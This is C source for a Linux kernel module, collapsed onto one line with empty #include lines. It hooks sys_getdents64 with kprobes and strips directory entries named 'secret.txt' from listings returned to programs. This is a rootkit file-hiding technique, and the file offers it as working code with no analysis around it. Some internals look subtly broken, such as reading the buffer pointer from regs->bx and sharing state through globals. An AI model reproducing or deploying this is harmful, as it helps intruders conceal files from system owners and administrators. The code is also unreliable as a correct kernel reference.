#include #include #include #include #include #include MODULE_LICENSE("GPL"); #define FILE1 "secret.txt" // Global buffer and task tracking static char __user *dirent_user_ptr = NULL; static pid_t target_pid = -1; // Pre-handler to capture syscall arguments and PID static struct kprobe kp = { .symbol_name = "sys_getdents64" }; static int handler_pre(struct kprobe *p, struct pt_regs *regs) { dirent_user_ptr = (char __user *)regs->bx; target_pid = current->pid; printk(KERN_INFO "Captured dirent ptr: %p for PID: %d\n", dirent_user_ptr, target_pid); return 0; } // Return-handler to filter entries static struct kretprobe rp = { .kp.symbol_name = "sys_getdents64", .handler = NULL, // assigned in module init .maxactive = 20 }; static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) { long nread = regs->ax; printk(KERN_INFO "syscall return value: %ld for PID: %d\n", nread, current->pid); // Sanity check: valid pointer and matching task if (!dirent_user_ptr || current->pid != target_pid || nread <= 0) { printk(KERN_WARNING "Skipping: Invalid pointer or PID mismatch or empty read\n"); dirent_user_ptr = NULL; target_pid = -1; return 0; } // Basic range check for user pointer if ((unsigned long)dirent_user_ptr >= PAGE_OFFSET) { printk(KERN_WARNING "User pointer out of range: %p\n", dirent_user_ptr); dirent_user_ptr = NULL; target_pid = -1; return 0; } // Bound check if (nread > PAGE_SIZE * 4) { printk(KERN_WARNING "Unrealistic nread: %ld\n", nread); dirent_user_ptr = NULL; target_pid = -1; return 0; } char *kbuf = kmalloc(nread, GFP_KERNEL); if (!kbuf) { dirent_user_ptr = NULL; target_pid = -1; return 0; } if (copy_from_user(kbuf, dirent_user_ptr, nread)) { printk(KERN_ERR "copy_from_user failed for PID: %d\n", current->pid); kfree(kbuf); dirent_user_ptr = NULL; target_pid = -1; return 0; } // Filter entries long bpos = 0, new_nread = nread; struct linux_dirent64 *d; while (bpos < new_nread) { d = (struct linux_dirent64 *)(kbuf + bpos); if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) { printk(KERN_INFO "Hiding entry: %s\n", d->d_name); memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen)); new_nread -= d->d_reclen; continue; } else { bpos += d->d_reclen; } } if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) { printk(KERN_ERR "copy_to_user failed\n"); kfree(kbuf); dirent_user_ptr = NULL; target_pid = -1; return 0; } regs->ax = new_nread; kfree(kbuf); dirent_user_ptr = NULL; target_pid = -1; return 0; } // Module hooks static int __init mod_init(void) { int ret; kp.pre_handler = handler_pre; ret = register_kprobe(&kp); if (ret) { printk(KERN_ERR "Failed to register kprobe: %d\n", ret); return ret; } rp.handler = handler_ret; ret = register_kretprobe(&rp); if (ret) { unregister_kprobe(&kp); printk(KERN_ERR "Failed to register kretprobe: %d\n", ret); return ret; } printk(KERN_INFO "Probes registered for sys_getdents64\n"); return 0; } static void __exit mod_exit(void) { unregister_kretprobe(&rp); unregister_kprobe(&kp); printk(KERN_INFO "Probes unregistered\n"); } module_init(mod_init); module_exit(mod_exit);